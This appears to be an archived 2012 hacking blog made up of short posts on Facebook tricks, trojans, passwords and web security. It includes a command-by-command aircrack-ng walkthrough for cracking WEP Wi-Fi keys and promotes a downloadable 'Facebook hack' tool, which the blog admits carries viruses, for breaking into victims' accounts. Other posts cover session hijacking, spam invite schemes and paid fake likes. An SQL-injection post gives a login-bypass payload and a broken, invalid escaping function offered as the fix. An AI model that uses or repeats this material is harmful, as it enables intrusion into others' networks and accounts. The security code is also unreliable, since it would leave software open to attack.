Punaly Hacking Articles

This Blog is Transferred To New Website

2013-03-12T05:33:00.002-07:00

Hello friends and readers, Our Blog is been Transferred to our new Website.

All the Post from this blog is also being transferred to our new blog on http://prince-asfi.blogspot.com/

HACK FACEBOOK AND TWITTER WITH ANDROID APP

2012-12-12T02:28:00.001-08:00

HOW TO HACK FACEBOOK, TWITTER WITH ANDROID APP DROIDSHEEP

DriodSheep is awesome Session Hijacking Android app that can be use to hijack Wifi Sessions. Currently It support Open and WEP Encrypted networks that includes WPA and WPA2 networks (PSK).

DroidSheep enables Android-based man in the middle attacks against a wide range of Web sites, including Facebook.com, Flickr.com, Twitter.com, Linkedin.com, and non-encrypted services like "maps" on Google. There are many users that do not known that air is the transmission medium when using WiFi. Therefore information is not only transferred to its receiver but also to any other party in the network within the range of the radio waves.

Usually nothing special happens because the WiFi users discard packets that are not destined to themselves. DroidSheep does not do this. It reads all the packets looking at their contents.Is a website sending a clear recognition feature within a message’s content, which can identify a user ("SessionID"), then DroidSheep is able to read it although it is not intended to external users. Moreover DroidSheep can use this token to use it as its own. The server can’t decide whether the authorized user or DroidSheep has sent the request.

How can I protect myself?
The only satisfying answer is: SSL respectively HTTPS.
Many providers already offer HTTPS, even facebook, however it must often be enabled in the settings first.
When using HTTPS the data are still sent to alle participants in the WiFi-network, too, but because the data has been encrypted it is impossible for DroidSheep to decrypt the contect of a message - remaining only a complete mess of letters, with which an attacker can’t do anything.

Insert an Animated Pictures on Facebook Cover Photo and Life Event

2012-07-18T22:41:00.002-07:00

Facebook tricks are always cool and can’t beat up others.

Here are the steps to post animated picture on facebook! I can't post the steps on my blog because its unlawful to post without admin's permission because its copyright by PrinceAsfi.com, Click here you'll be redirected to Animation Steps.

Example: Click here to view on facebook

New Cool Text For Facebook Chat Box

2012-07-17T08:40:00.000-07:00

COOL TEXT FOR FACEBOOK CHAT BOX

If you want to write like that in your facebook chat?

Click on "Facebook Tricks"

HACK WIFI EASILY – SIMPLE WEP HACK

2012-07-16T08:41:00.000-07:00

OverView

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.

Equipments used
Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6

starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E wlan1-

9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.

aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

-1 means fake authentication
0 re-association timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR

aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.

Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…
Run: tcpdump -n -vvv -s0 -e -i | grep -i -E "(RA:|Authentication|ssoc)"

You would then look for error messages. If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: "tcpdump -n -e -s0 -vvv -i wlan1"

Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80
De-Authentication: Class 3 frame received from non-associated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: "tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth". You may need to tweak the phrase "DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap

All Done!

How to manually remove Trojan Horse

2012-06-27T16:00:00.000-07:00

A Trojan, sometimes referred to as a Trojan horse, is non-self-replicating malware that appears to perform a desirable function for the user but instead facilitates unauthorized access to the user's computer system.

Is trojan virus Dangerous?
The short answer is yes, and the long answer is sometimes, because there are near a thousand different trojan horse viruses and they all will most likely alter your computer in some way or another.

Working of Trojans!

In this tutorial i will tell you a method through which you can manually remove a Trojan horse,Sometimes atrojan horse disables your antivirus and prevent any other Antivirus from being installed

1-Go to my computer
2-Drive C:
3-Program Files
4-Common flies
5-Microsoft shared
6-Ms info or msinfo 32

The virus might hide it self in startup so delete the temporarily internet file.

Is there any way to prevent Trojan attack?

I have wrote an article on How to secure your network from trojans this will explain on How to keep Trojans out of your PC.

How to secure your network from Trojans

2012-06-27T15:56:00.000-07:00

A Trojan, sometimes referred to as a Trojan horse, is non-self-replicating malware that appears to perform a desirable function for the user but instead facilitates unauthorized access to the user's computer system.

Is trojan virus Dangerous?
The short answer is yes, and the long answer is sometimes No, because there are near a thousand different trojan horse viruses and they all will most likely alter your computer in some way or another.

Working of Trojans!

Types of Trojans:

1.Remote Access Trojans

2.Password Sending Trojans

3.Keyloggers

4.Destructive Trojans

5.Denial of Service (DoS) Attack Trojans

6.Proxy/Wingate Trojans

7.FTP Trojans

8.Software Detection Killers

How to Get Rid of Trojans:
Here are some practical tips to avoid getting infected (again). For more general security information, please see our main security help page.

NEVER download blindly from people or sites which you aren't 100% sure about. In other words, as the old saying goes, don't accept candy from strangers. If you do a lot of file downloading, it's often just a matter of time before you fall victim to a trojan.
Even if the file comes from a friend, you still must be sure what the file is before opening it, because many trojans will automatically try to spread themselves to friends in an email address book or on an IRC channel. There is seldom reason for a friend to send you a file that you didn't ask for. When in doubt, ask them first, and scan the attachment with a fully updated anti-virus program.
Beware of hidden file extensions! Windows by default hides the last extension of a file, so that innocuous-looking "susie.jpg" might really be "susie.jpg.exe" - an executable trojan! To reduce the chances of being tricked, unhide those pesky extensions.
NEVER use features in your programs that automatically get or preview files. Those features may seem convenient, but they let anybody send you anything which is extremely reckless. For example, never turn on "auto DCC get" in mIRC, instead ALWAYS screen every single file you get manually. Likewise, disable the preview mode in Outlook and other email programs.
Never blindly type commands that others tell you to type, or go to web addresses mentioned by strangers, or run pre-fabricated programs or scripts (not even popular ones). If you do so, you are potentially trusting a stranger with control over your computer, which can lead to trojan infection or other serious harm.
Don't be lulled into a false sense of security just because you run anti-virus programs. Those do not protect perfectly against many viruses and trojans, even when fully up to date. Anti-virus programs should not be your front line of security, but instead they serve as a backup in case something sneaks onto your computer.
Finally, don't download an executable program just to "check it out" - if it's a trojan, the first time you run it, you're already infected!

Hope you liked the post ! Kindly give your feedback by comenting!

Facebook Auto Fans For Pages (Buy Real Facebook Fans)

2012-06-25T00:09:00.004-07:00

Hi Guys, I'm Asfi, A Software Engineering and the founder of this fugly blog. These days i'm having my holidays so i decided to make an auto like for facebook pages, posts, comments and photos! So Finally after struggling hard I made it in few days and its working perfectly !

So I've decided to earn some money now, I have my own auto like system Which is paid one !! now i promote pages of celebrities and other business pages and earn some money!!! I can give you 150k likes in 1 month safely !! Its not an Auto Bot, Its real Facebook Likes System...!

The Price for website FREE website is $120 With All the Installations Files ONLY.

https://www.facebook.com/fcyah

The price for Full Paid System is $500

If you want me to promote your facebook page and you want daily 5000 likes, So My rates for 1k like is $17, You can get more discount on 100k Page.

Top 50 Passwords That Can Get You Hacked Instantly

2012-06-16T02:31:00.000-07:00

Passing guessing is one of the fastest technique to hack any account. According to a survey by Sophos 33% of the people use the same passwords. What this means that if a hacker can get inside a person's facebook account, he can also get inside his/her other account using the same password. The chart below is the set of most commonly used Gawker Passwords that were leaked online due to a security breach.

The following incident shows us how careless people can be while choosing their passwords and ultimately getting themselves hacked. Alternatively if you are worried that you password might be guessed or simply want to check if you are using a poor passwords. Kindly refer the our post below:

How To Create Strong Passwords

Add 5000 MASS Facebook Friends / Increase Your Subscribers

2012-06-05T13:44:00.017-07:00

Add 5000 MASS Facebook Friends

In this tutorial i will tell you how to add 5000 friends on your friend list on facebook. This is so simple trick !

Step 1. Download the 5000 email list.

Click here to download

STEP 2. Copy all the Emails and paste into the invite friends tool. http://www.facebook.com/invite.php

STEP 3. In the Message option paste this link

" Add 5000 Friends in 7 days"
http://adfoc.*us/354077803491 "

Remove (*) from Link.

STEP 4. Then click on "Invite Your Friends" button. you're done now. you will get 5000 friends in less than 7 days. more emails more friends, so keep sharing..

Increase Your Subscribers

Step 1. Comment your facebook email here, i will add in Mass Add friend, when someone will Use MASS add friend invite tool, he/she will auto subscribe you.!

Step 2. Like us: https://www.facebook.com/AnonymousAsfi
Step 3. Join our facebook Group For more Facebook Tricks: https://www.facebook.com/groups/PrinceAsfi/
Step 4. Share this post for more and Enjoy!

Send Friend Request When you're Block

2012-06-05T01:30:00.001-07:00

In this tutorial, I will tell you how to send a friend request when you are blocked on facebook, but remember that you need email of person to who you are sending requesting. So now continue the tutorial-

1. Copy the email list, and past into the invite friends tool. http://www.facebook.com/invite.php

princetanoli@facebook.com, syinisa_000@yahoo.com, unkn0wn.prince@facebook.com, punaly@hotmail.co.uk, asfirano5@gmail.com, princeasfi@gmail.com, Shaikhdevil44@yahoo.com

2. If you want to send many friend request at a time then use comma after each email and email of any friend whom you want to add after these emails (don't remove these emails)

3. After filling form, click Invite Your friends, you are done, Enjoy.

007 Facebook Hack v5 by Punaly (Working 2012)

2012-05-21T16:36:00.002-07:00

007 Facebook hack v 5 is a special program designed

to break into Facebook username and password.

This program also has viruses and facebook fake login page.

Be careful using this program and do not use it for illegal activity.

Step by step:

1. Download 007 facebook hack Update by Punaly

2. Desktop.rar file Extract it and run 007_facebook_hack_v_5.exe

3. Press the ENTER button and enter the password. Password on a password.txt file in the package of desktop.rar file

4. If the above steps correctly, we'll go to the main page of hacking. Then press the Settings button

5. In the server box, enter www.facebook.com

6. In the HTTP Proxy field, fill in the proxy address. Use a bypass proxy address. So, we can make hacking as if from overseas servers. To search the proxy, visit http://www.aliveproxy.com/, then select a list of existing State(Victim's Country). To find out the proxy that we can still in active conditions, change the proxy settings on your browser and point the browser to http://www.cmyip.com/. If the proxy address may appear, it means that the proxy can be used.

7. Press the Connect button until the indicator on the right side of the green fields.

8. Press the Back button, then enter the user ID of a victim account.

Note:+

To be Success in this penetration by using this software is dependent on our internet connection speed. Try also to replace IP Proxy to find the appropriate address.

There are colleagues who claim to successful penetration and also claiming to always fail.

Facebook administrator has so far been updating his security system by applying a dynamic proxy system that can filter out proxy address that will go into the data server. For that, this hack facebook software works like a chase each other with facebook security system.

Download Free

This Software Will Work until Facebook Will not change/update Their Security!

Good luck !!!!!

Doctor's Clinic GUI Application

2012-05-21T12:17:00.004-07:00

"Using LinkList"

You have to create an application for Doctor’s clinic. Application must have GUI which should start by taking user name and password from user. On correct user name and password application should be opened which would be a window having Menu bars and tool bars. Menu bar should have menus Manage Record, Search Record and Help menu. Tool bar should have icons for Add New Record, Search Record, Update Record and Print.

Manage Record Menu bar should have menu items like Add new Record, Update Existing Record and Delete Existing Record. Search Record menu should have menu items like search by Name, Search by ID and Search by age. Help menu should have item about us and change password.

Upon selecting Add New Record from Menu bar or from tool bar window should have items on the form to enter patient information.

Patient ID (ID automatically displayed but Editable false)

Patient Name

Sex

Age

Disease Type(List of diseases should be displayed one of which user may select)

Duration of Disease

Family Inherited (Radio buttons for yes or no)

Patient History

Medicine proposed (A text area for that)

Two Buttons (Save and Reset)

Upon save all record should be saved in a file“patient.dat” by using object streaming.

When user selects Update Existing record then in the parent window user should be asked to select one of the Patient id from selection list and then search record from the file(“Patient.dat”) on the basis of selected id and then bring all the info into the form.similirly all other operations like search delete should be performed.

(Remember whenever you start you application from the record file it should be automatically checked that what should be the id of the next new patient)

Password should be saved in “password.dat”

Patient ID should be unique should start from 9000.

**********************************************************************************************

"Using DataBase"

Manage Record Menu bar should have menu items like Add new Record, Update Existing Record and Delete Existing Record. Search Record menu should have menu items like search by Name, Search by ID and Search by age, search by doctor name also search doctor. Doctor may be searched by area of specialization. Help menu should have item about us and change password.

Upon selecting Add New Record from Menu bar or from tool bar window should have items on the form to enter patient information.

Patient ID (ID automatically displayed but Editable false)

Patient Name

Sex

Age

Disease Type(List of diseases should be brought from disease table displayed one of which user may select)

Doctor name(List of doctor’s should be brought from disease table displayed one of which user may select)

Duration of Disease

Family Inherited (Radio buttons for yes or no)

Disease symptoms

Medicine proposed (A text area for that)

Two Buttons (Save and Reset)

You have to use Clinic database having fourtables doctor, disease, Patient and user. Doctor table should have doctor id(Primary key), Dcotor name and field of specialization.

Disease table should have disease id(Primary key), disease name. Patient table should have Patient id(Primary key),patient name, sex, age, disease id(Foreign key), doctor id(foreign key), duration of disease, Family Inherited, disease symptoms, medicine proposed. Visitnumber(Auto incremented). Medicine proposed and disease symptoms should be updated in databases along with date of visit.

User table should have user name and password.

Upon save all record should be saved in databases.

When user selects Update Existing record then in the parent window user should be asked to select one of the Patient id from selection list and then search record from the databases.on the basis of selected id and then bring all the info into the form.similirly all other operations like search delete should be performed.

(Remember whenever you start you application it should be automatically checked that what should be the id of the next new patient)

All results after searching should be displayed in the form of the reports.

Password should be checked through user table.

Patient ID should be unique should start from 9000.

**********************************************************************************************

You can buy the GUI Application For $50 (PKR 4600) only!

Plus you will also get the Source code of it (implemented in Java Language)

Buy Both For $50 only.

**********************************************************************************************

Protection Against SQL Injection (Website)

2012-05-21T12:03:00.001-07:00

Hacker-one: "YES, I DID IT !!! "

Hacker-two: "What ? "

Hacker-one: "I HACKED ANOTHER SITE!!! "

Hacker-two: "Great!!! How did you do that? "

Hacker-one: "SQL INJECTION !!! :p "

Yes, one of the common methods that are being used by hackers is SQL INJECTION. Sites get hacked by the sql injection due to the loop hole that is left by developers most of the times while developing a web application. I will be explaining you today how to avoid SQL INJECTION when you are developing a web application with PHP. I will be explaining with the help of an example, suppose we have text fields on our form...

1. User Name

2. Password

and a login button. When we login, the validation for the valid user is checked on the back-end. If the user is a valid user, he logs into the system else an error message "incorrect username or password" is shown. What happens on the back-end..

$userName=$_POST[‘userName’];

$password =$_POST[‘password’];

$sqlQuery=”select * from users where user_name= ‘”.$userName.”’ and user_password= ‘”.$password.”’ ; ”;

This is where the developer has left a loop hole if instead of password I enter ‘ or ‘a’=’a the password field has the value..

$password is ‘or ‘a’=’a

Lets place this value in query and the query becomes

$sqlQuery=”select * from users where user_name= ‘”.$userName.”’ and user_password=’ ‘or ‘a’=’a’; ”;

You can see clearly , password doesn’t match but the other statement a=a matches so OR operator will work and the user will login into the system without knowing the actual password. I can even give you the names of some famous websites where you can inject sql or use this technique.

HOW TO AVOID IT ???

Don’t treat the field values as mentioned above

Use this function

function BlockSQL Injection($str){

return str_replace(array("'",""","'",'"'), array("'",""","'","""), $str);

}

This will replace the characters( that can break the string) in the string.

So you can use this function as

$userName= BlockSQL Injection ($_POST[‘userName’]);

$password = BlockSQL Injection ($_POST[‘password’]);

Now the hacker wont be able to break the QUERY STRING.

We have many frameworks in PHP that provide this functionality such as quotes_to_entities($string) in CODE IGNITER.

Use some desgin pattern when you are building a big application, model, controller, your view layers and DAO (data access object layer) must be implemented to make it losely coupled and extensible.

A huge number of sites have been developed in core php, where we don’t use any framework. Wordpress is very secure but when it comes to PLUGINS (that we donwload and use), they can have the loop holes inside them. Stay alert while developing web applications, you never know when you are gonna get hacked. Stay blessed! :)

Good Luck Dude!

Facebook Strengthen's It's Security By Launching The Antivirus MarketPlace

2012-05-18T07:29:00.000-07:00

From last few months Facebook users are facing lots of trouble due to dramatic growth of malware and spams on facebook .We here at RHA have covered lots of facebook related spams like Facebook Scammers Exploit Steve Jobs Death , DAD CATCHES DAUGHTERS ON WEBCAM -Beware Facebook Viral Scam , Hijacking Facebook Users With Clickjacking Attack etc.

Seeing these repetitive attacks , Facebook yesterday launched Antivirus Marketplace to increase the protection of Facebook users. McAfee, TrendMicro, Sophos,Microsoft and Symantec will will augment Facebook's URL blacklist system with their own URL blacklist databases.

The Antivirus Marketplace will also let facebook users to download full version antiviruses with no charge for 6 months ! This service for free download is available to Mac as well as Pc users and a user can download any one antivirus of his choice from his account.

But the big question is what will happen after the 901 million facebook users have ended up their 6 month free full version,how many of them will bother to spend bucks to renew it ? !

How To Disable/Enable Facebook Timeline For Profiles/Pages On Google Chrome? [100% Working]

2012-05-10T13:06:00.003-07:00

Facebook Timeline is the new interface of Facebook Profiles and Pages and most of the people dislike it. We have found an easy method of disabling and re-enabling the Facebook Timeline from your Facebook profile on Google Chrome. Check out the tutorial after the jump.

The tutorial will help you viewing your old profile permanently and works with Google Chrome [I believe most of the Facebook users use Chrome]. Timeline will be still there activated but you will see old profiles all around Facebook and that’s fair enough.

How to Disable Facebook Timeline for Profiles?

The tutorial is 100% working and tested by us. You need to install the Chrome extension called “Timeline Remove” and it will help you disabling the Timeline. So follow the simple steps below.

STEP 1.

Open the Link for Chrome Extension. Allow it by clicking on “continue” at the bottom of Chrome.

STEP 2.

Now click on “Install” to add the extension in your browser.

STEP 3.

Refresh your Facebook Profile page or restart your Google Chrome (browser). You will see your old profile.

How to Re-Enable Facebook Timeline on Your Profile?

You can easily toggle between enable and disable. Just you need to change settings of the Chrome Extension. Follow the steps below.

STEP 1.

Click on “Chrome Tool Button” from the top right corner and then on “Options”.

STEP 2.

Now click on “Extensions” to change the extension settings.

STEP 3.

Now “Un-Check” the small check box to re-enable Facebook Timeline for your Profile.

STEP 4.

Refresh your Facebook Profile and you will see your Timeline again.

Step 5.
Subscribe the Admin, if you are having any problem you can inbox the Admin

NOTE:

Repeat the process and “Check” the small box to disable Timeline.Check the box .

-> To disable Facebook TimelineUncheck the box.

-> To enable Facebook Timeline.

All these changes can be only view-able by you and your friends will see your Timeline even if you disable it from the extension.

Don't try any other applications for timeline remove, they are scams and they steal user's information.

Enjoy the tutorial and share it with your friends and family as well.

Join Anonymous Hackers Army - Punaly

2012-04-30T07:15:00.000-07:00

What to join Anonymous army?

So are you like expecting from me that i will tell you that enrollment forms are out to join The Anonymous ? No, No such news ! And you cannot join anonymous ! In fact no one can !

Anonymous is not an organization,not a club too,nor a party.Anonymous has no ideology,no gurus and no leaders too.

Anonymous are like people who are with each other for a small time to bring do a task,be it good thing or bad.But as soon as that task is complete those people may or may not be together.You can compare them to a group of people traveling small distance together just like the passengers of a bus.

How do people from Anonymous communicate?

Anonymous are regarded both as Heroes or Villains of cyber world by person to person.And just like every other person members of anonymous also communicate via the social network-facebook,skype,yahoo etc.

How to recognize members of Anonymous?

Members of Anonymous have no different characteristics.A person you meet or see everyday may be a member of anonymous and you have no idea about it.There is no age,sex,caste,country barrier to be a member of anonymous,anyone and everyone can be a member.All you require to be a member are - Skills !

During public appearances members of anonymous are often seen wearing Guy Fawkes Masks.

Is it Good or Bad to be a member of Anonymous?

It is totally up to you ! If you are good you remain good being a member of anonymous too and vice verse !Being associated with anonymous does not bring you any ''Bad'' image as it is often misunderstood by people.Anonymous group never asks it's members for their personal information or identity proof.

How many Anonymous are there?

There are many of them,more than we can think ! And as i had said,they are with each other for short time and they keep on adding every time they are together.

Great News For Hackers -Google Raises Bug Bounty

2012-04-30T07:08:00.000-07:00

A good news for the hacking community- The internet giant Google has raised the bounties from $3133 to $20,000.Most companies that are in the business of providing software or services are willing to pay industrious and benevolent hackers who find bugs in the code. Google has been making use of these folks for quite some time, but now Mountain View is increasing its rewards dramatically in an effort to encourage more people to join the bug hunt. Google previously handed out a maximum of $3133.70, but now will offer up to $20,000 per bug.

"When we get more bug reports, we get more bug fixes," Google security team manager Adam Mein told AFP. "That is good for our users; that is good for us."

Google has paid out approximately $460,000 since it established the Vulnerability Reward Program.This rate change increases the incentive for security researchers and the average denizen of the internet to disclose the bugs spotted in Google web services to the source.

At Google’s Pwnium contest in March, Google paid out $60,000 prizes to anyone that could exploit the Chrome browser. Two people managed to do so, and collected the money. Even at that rate, security researchers have made it clear the exploits would have been worth more if sold to malicious individuals. Google’s $20,000 top payment is likely still far below the market rate.

Not all bugs will warrant the new $20,000 payout. Only “critical bugs” that allow remote code execution will be at that level. SQL injections or authentication bypasses will still net you a hefty $10,000 prize, but amounts will vary depending on which Google service is affected.

"We want them to know the reward is there for them if they find the most severe bugs," Mein said.Bugs found in more sensitive services such as Google smartphone "Wallet" software tends to merit more generous rewards. So start working and earn.

Password hacking software

2012-02-28T13:02:00.000-08:00

Learn reality of password hacking softwareemail Hacking Software, Email Hacking Software, Yahoo Password Hacking Software, Hotmail Password Hacking Software,msn hacker,Hotmail hacker

Don’t get fooled by these words. Learn the Real of of hacking email passwords. Identify which Hacking Softwares work and which doesn’t. Most of us are very curious about a software that can hack email passwords. In fact most of the searches about hacking contain the keyword passwords hacking software or email hacking software. But is it really possible to hack an email using a software? Does there exist a software to hack email passwords? In this post I’ll explain every possible information that you need to know about an email hacking software.

Password hacking software - Reality
Guys, i want to tell you that there is no such password hacking software. Totally depressed?? I am sorry to say, but this is true. There is no such email hacking software. So stop searching for such email hacking software. Stop fooling yourself. Just use your sense guys. If there exists such a software, will there be any security on web. And all expert engineers at Google, Yahoo and other services are not mad. They are all engaged in ensuring security of their customers ie email account owners. So, no such software exists.

THINGS YOU SHOULD KNOW BEFORE PROCEEDING
Many sites on the internet claim to sell softwares/programs to hack email passwords. I know most of you are aware of this. These sites also boost that their software can hack email passwords with in minutes. Some sites also claim that they can hack any one’s password for money (say $100). Never believe these sites. They are all scam! I can dare challenge anyone who claims to hack an email, using a software program. In fact when I was a newbie in the field of Hacking, I have spent many sleepless nights in search of an Email hacking software. Finally I ended up only with frustration and nothing more than that. I don’t want my readers to commit the same mistake which I did. So, never believe those scam sites and empty your pockets by spending on useless softwares.

HOW CAN I HACK AN EMAIL PASSWORD

Well there are couple of methods to hack an email account
1.Brute force
2.Dictionary attack
3.Input validation attack
4.Phishing
5.keylogging

These are the common email hacking methods !

Hijacking Facebook Fan Pages

2012-02-28T07:21:00.001-08:00

Recently I have been receiving lots of complains from RHA readers that their facebook fan pages are getting hacked. There is no rocket science or Zero day being used to hack facebook fan pages. However it's a simple facebook bug which helps the admins to remove another admin. However facebook should set up a rule that the original admins should not be removed. The following video by Sophos explains how easy it is to hijack facebook fan pages:

However it's quite strange to see according to facebook help page, Primary or original admin cannot be removed. However it's untrue. Which evolves the whole idea of Hijacking facebook fan pages.

Can multiple people use the same account to administer a Page? Each business account or personal account on the site should only be used by one individual. This individual should be the owner of the email address used as the login email address for the account.
A Page can have multiple administrators. Each Page administrator will need to have their own business account or personal account. Every admin can manage the Page from their own Facebook account using the "Page Manager" application that will appear in the left hand column of the Applications section once they become an admin for a Page. Every admin has equal access to and the same abilities as the other admins for a Page.

Advice For Admins

Kindly don't make any one admins of your page, until you fully trust some one

PROTECT YOURSELF FROM HACK ATTACKS

2012-02-17T08:32:00.000-08:00

Your computer has lots of personal information on it. Would you be happy if an unknown person had full access to it? Even worse, what if they were able to watch you while you were online and learn all about where you bank, who your friends are and more? It is possible to make sure that you are protected...

In the last few months, there have been several incidences of high-profile hacking incidents. Large companies and government organisations have been hacked, and the information obtained has been leaked to the public by so-called 'hacktivist' groups like Lulzsec or Anonymous. Lulzsec have even attempted to warn us all that we really aren't that safe - in a recent public post they say:

Do you think every hacker announces everything they've hacked? We certainly haven't, and we're damn sure others are playing the silent game. Do you feel safe with your Facebook accounts, your Google Mail accounts, your Skype accounts? What makes you think a hacker isn't silently sitting inside all of these right now, sniping out individual people, or perhaps selling them off? You are a peon to these people. A toy. A string of characters with a value. This is what you should be fearful of, not us releasing things publicly, but the fact that someone hasn't released something publicly.

If large organisations are unable to protect themselves from hackers, how safe are we? There are a few schools of thought on this. One approach is to assume that there is nothing that you can do, and thus make sure that you do not keep any sensitive information on any computer or website. This would mean not doing internet banking, using email, online shopping, chatting with your kids on Skype... You would have to give up most of the advantages that the internet provides you. This is certainly an option, albeit a bitter pill for us to swallow.Then there is a second approach where you simply don't worry about it. Maybe you will be hacked, or maybe you won't. You don't know and you aren't that concerned. Unfortunately this approach will not pay off in the long run, as identity theft is on the rise, and a growing number of people are having their lives drastically affected.

Or you can try and have a bit of both - use all the modern conveniences, take all the reasonable precautions that you can, and enjoy using your computer and the internet. Your lack of fame will generally limit you from being a target (hackers won't target you when they can target high-profile people, right?).All of these approaches are inherently flawed - you really cannot guarantee anything - however assuming that you want to stay connected to the rest of the world, let's quickly refresh what you should be doing to stay safe online.

How to Protect against Hack Attacks

2012-02-11T23:29:00.000-08:00

How Hacking Attacks Work
Given the amount of sensitive and financial information that is transmitted over the Internet every hour, it would be an obvious choice for cyber criminals to conduct their illegal activities. Yet in addition to the amount of traffic, the proliferation of insecure web applications makes web based hacking attacks even more attractive, and even more profitable.

Breaking into computer systems for malicious intent is nothing new. Since the early eighties skilled computer enthusiasts, or hackers, have used their knowledge to break into systems with no redeeming intent. However with the advent of web based applications, the sophistication of hacking attacks has dramatically increased while the amount of skill required to carry out these attacks has proportionately lessened.

Malicious hackers nowadays can make use of a number of tools that help them automate their attack. Using scanning tools the attacker is able to perform the first step of their attack, enumeration. In this phase information is gathered regarding the intended target. With specific tools, the attacker can scan multiple computers, routers, servers, and web sites at once looking for specific information that will help them easily attack the machine. Add to this the ability for the attacker to conduct the enumeration process with an army of zombie computers and the number of vulnerable systems that they can identify rises exponentially depending upon the size of the botnet they control.

Once the targets have been identified the attacker continues to analyze the targets looking for known vulnerabilities. Depending on what the overall goal of the attacker is, they could be searching for any number, or combination, of vulnerabilities in which to exploit. These can include, but are not limited to:

Cross-Site Scripting
SQL Injection
Remote File Execution
Denial of Service
Path Traversal
And many others

Once the vulnerabilities are identified, the attacker can move into the last stage of their attack, exploiting the computers.

Using the information found in the vulnerability analysis, the attacker then attempts to exploit the target computers. Again, this process can be automated like the others, and when launched from a large botnet army the attacker can exploit thousands of victims with minimal effort on their part.

Effects of Hacking Attacks
Hacking attacks can have detrimental effects on the victim. These effects vary according to the type of attack the hacker launched and what the target of their attack is. Unfortunately for many Web Sites, there are multiple ways to exploit them.

Malware that infects desktop computers can reveal administrator credentials or FTP credentials. These credentials can then be used to access the web site, web server, and even other resources on a companies network.

Vulnerabilities in the server operating system can provide a hacker access to the files that make up the web site. The web site can then serve spam or malicious files to innocent visitors. Sites that are found to do this, even if they are not aware, can be flagged as malicious by the search engines and even removed from the Search Engine Results Page.

Web applications that power dynamic web sites present multiple ways for an attacker to exploit a site and connect to the web site’s data base. Data bases that contain financial or personal information can then be farmed to later be used for credit card fraud or identity theft.

Denial of Service attacks can cause a disruption in web services. If any essential business processes are run over the Internet, these can cease to function as well.

The Need to Protect Against Hacking Attacks

When a web site or network is attacked, the blame falls on the owner. It is their responsibility to ensure that any service or application that they are running is protected against the vulnerabilities that can be used to exploit their property, and that includes their web site.To protect customers and employees from having their financial or private information from being stolen, both industry and governments have implemented regulations with the intent of securing against common hacking attacks. To combat credit card fraud, the Payment Card Industry created the Data Security Standard that requires merchants who process credit cards to take specific measures that help protect against hacking attacks. The European Union, United Kingdom, United States, and Canada are among the governments that have also instituted privacy acts meant to regulate how businesses protect their customer and employee data from malicious hackers.In addition to the fees and legal ramifications that can come as a result of failing to comply with the different regulations, hacking attacks can also damage a company’s reputation to the point that they lose customers and revenue. A company who is in the news because they have been hacked is sure to lose the trust of even their most loyal customers. The same happens with web sites that are identified as containing spam or malicious scripts. Once this is known, most visitors will stay away. And if losing traffic wasn’t bad enough, but once the search engines have identified as site as malicious their placement in the search engine falls dramatically rendering any Search Engine Optimization work essentially useless until the problem is corrected.

How Does dotDefender Helps to Protect Against Hacking Attacks?

IBM’s X-Force Trend report stated that, “Web applications remain the Achilles heel for the security industry”. With over 80% of all web sites having contained at least one vulnerability, web application security needs to be addressed by any company with a web presence as protecting web applications not only helps to protect your web site from attack, but also can protect your web servers and any other network resources that access them.dotDefender enables companies to address challenges facing their web site in a straightforward and cost-effective manner by utilizing a Security as a Service solution. dotDefender offers comprehensive protection against the vulnerabilities that hacking attacks use against your web site every day.

The reasons dotDefender offers such a comprehensive solution to your web application security needs are:

Easy installation on Apache and IIS servers
Strong security against known and emerging hacking attacks
Best-of-breed predefined security rules for instant protection
Interface and API for managing multiple servers with ease
Requires no additional hardware, and easily scales with your business

Architected as plug & play software providing optimal out-of-the-box protection, dotDefender creates a security layer in front of the application to detect and protect against application-level attacks in incoming web traffic that could be used to compromise the web server, steal sensitive information, or disrupt web services.

Top 10 Ways To Hack Facebook Accounts In 2012

2012-02-05T02:26:00.000-08:00

Facebook is one of the most widely used social networking site with more than 750 million users, as a reason if which it has become the number 1 target of hackers, I have written a couple of post related to facebook hacking here, In my previous post which I wrote in 2011 related to facebook hacking and security 4 ways on How to hack facebook password.

